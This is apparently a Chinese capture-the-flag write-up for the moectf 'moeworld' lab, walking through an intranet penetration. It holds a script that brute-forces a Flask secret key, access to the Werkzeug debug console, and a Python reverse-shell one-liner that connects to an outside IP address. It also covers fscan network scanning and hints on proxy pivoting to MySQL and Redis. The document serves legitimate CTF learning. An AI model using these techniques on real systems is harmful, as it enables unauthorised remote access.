本文最后更新于:2023年10月8日 晚上
[TOC]
【moectf】moeworld 题目介绍
本题你将扮演红队 的身份,以该外网ip入手,并进行内网渗透,最终获取到完整的flag
hint.zip 密码请在拿到外网靶机后访问根目录下的readme ,完成条件后获取
解题步骤 首先我们发现这是一个flask框架搭建的网页:
1 app.secret_key = "This-random-secretKey-you-can't-get" + os.urandom (2 ).hex ()
这里secret_key
只有后面两个字节未知,所以我们可以构造字典爆破出key
1 2 3 4 5 6 7 8 s = "This-random-secretKey-you-can't-get" ss = "1234567890abcdef" f = open ("dic.txt" ,"w" )for i in ss: for j in ss: for k in ss: for l in ss: f.write(s+i+j+k+l+"\n" )
生成一个dic.txt
然后我们使用flask-unsign
进行字典爆破:
爆破出key,并进行伪造
修改session后发现pin码
我们直接进入/console
控制台执行命令
查看一个/readme
,需要我们使用fscan扫描
这样不方便,先反弹shell到vps上
反弹shell命令生成网站: https://www.ddosi.org/shell/
1 import socket,subprocess,os ;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.115.221.105" ,7788 ));os .dup2(s.fileno(),0 ); os .dup2(s.fileno(),1 );os .dup2(s.fileno(),2 );import pty; pty.spawn("sh" )
首先hostname -i
查看一下ip地址
1 2 3 $ hostname -i hostname -i172.21.0.3 172 .20 .0 .4
进入/app/tools/
目录,使用fscan扫描
1 ./fscan -h 172.20.0.0/ 16 -0 /tmp/i p.txt
端口从小到大排序得出压缩包密码:22-3306-6379-8080
打开压缩包:
1 2 3 4 5 6 7 8 9 10 当你看到此部分,证明你正确的进行了fscan的操作得到了正确的结果 可以看到,在本内网下还有另外两台服务器 其中一台开启了22 (ssh)和6379 (redis)端口 另一台开启了3306 (mysql)端口 还有一台正是你访问到的留言板服务 接下来,你可能需要搭建代理,从而使你的本机能直接访问到内网的服务器 此处可了解`nps`和`frp`,同样在/app/tools已内置了相应文件 连接代理,推荐`proxychains` 对于mysql服务器,你需要找到其账号密码并成功连接,在数据库中找到flag2 对于redis服务器,你可以学习其相关的渗透技巧,从而获取到redis的权限,并进一步寻找其getshell的方式,最终得到flag3